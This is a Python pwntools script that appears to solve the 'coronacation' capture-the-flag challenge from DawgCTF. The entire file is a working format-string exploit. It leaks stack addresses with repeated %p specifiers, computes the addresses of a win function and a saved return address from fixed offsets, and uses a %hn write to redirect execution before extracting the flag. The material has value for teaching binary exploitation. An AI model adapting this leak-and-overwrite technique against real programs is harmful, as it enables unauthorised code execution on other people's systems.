#!/usr/bin/env python3
from pwn import *
import re


def get_flag():

	localc=True

	context.arch = "amd64"

	if localc:
		p = process("./coronacation")
		gdb.attach(p)
	else:
		p = remote("ctf.umbccd.io", 4300)


	p.recvuntil("out.\n")
	p.sendline("1%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")

	offset_win = 0x560a7dc29490 - 0x560a7dc29165 #leak-win = offset <=> win = leak-offset
	leak = p.recvuntil("\n")

	print(p.recvuntil("plan.\n"))
	print("leak is:"+leak.decode())
	leak = leak.decode()
	leak = leak.split(".")
	leak_addr = leak[11]
	print("leak leak_addr is: "+leak_addr)
	#win_addr =  p64(int(leak_addr, 16)-offset_win)
	print("address of win should be: "+str(hex(int(leak_addr, 16)-offset_win)))
	last_two_bytes = int("0x"+str(hex(int(leak_addr, 16)-offset_win))[-4:], 16)
	#offset_ret = leak[3] - rip[3] <=> rip = leak[3] - offset 
	offset_ret = 0x7fff02886090 -0x7fff02886038
	print("leak3 is: "+str(leak[-2]))
	print("leak list is"+str(leak))
	ret_addr = int(leak[-2],16) - offset_ret
	print("The address to overwrite should be: ".encode()+hex(ret_addr).encode()+" in p64: ".encode()+p64(ret_addr))
	ret_addr = p64(ret_addr)

	#change the two last bytes of the return to point to the win function
	#payload = "1aaaaaaa"+ret_addr+"%8$lx"+str(last_two_bytes-40)+"x%n" 
	len_last_two = len(str(last_two_bytes))
	payload = "a".encode()*(13-len_last_two*2)+"%".encode()+str(last_two_bytes-3).encode()+"x%8$hn.".encode()+ret_addr
	
	p.sendline(payload)
	#leak2 = p.recvline()
	#print("second_leak:"+leak2)
	a = p.recvuntil("}")
	#p.interactive()
	flag = re.findall(rb"DawgCTF{.*}",a)

	if len(flag) > 0:
		print("Flag is: "+flag[0].decode())
	exit(0)
	
if __name__ == '__main__':

	get_flag()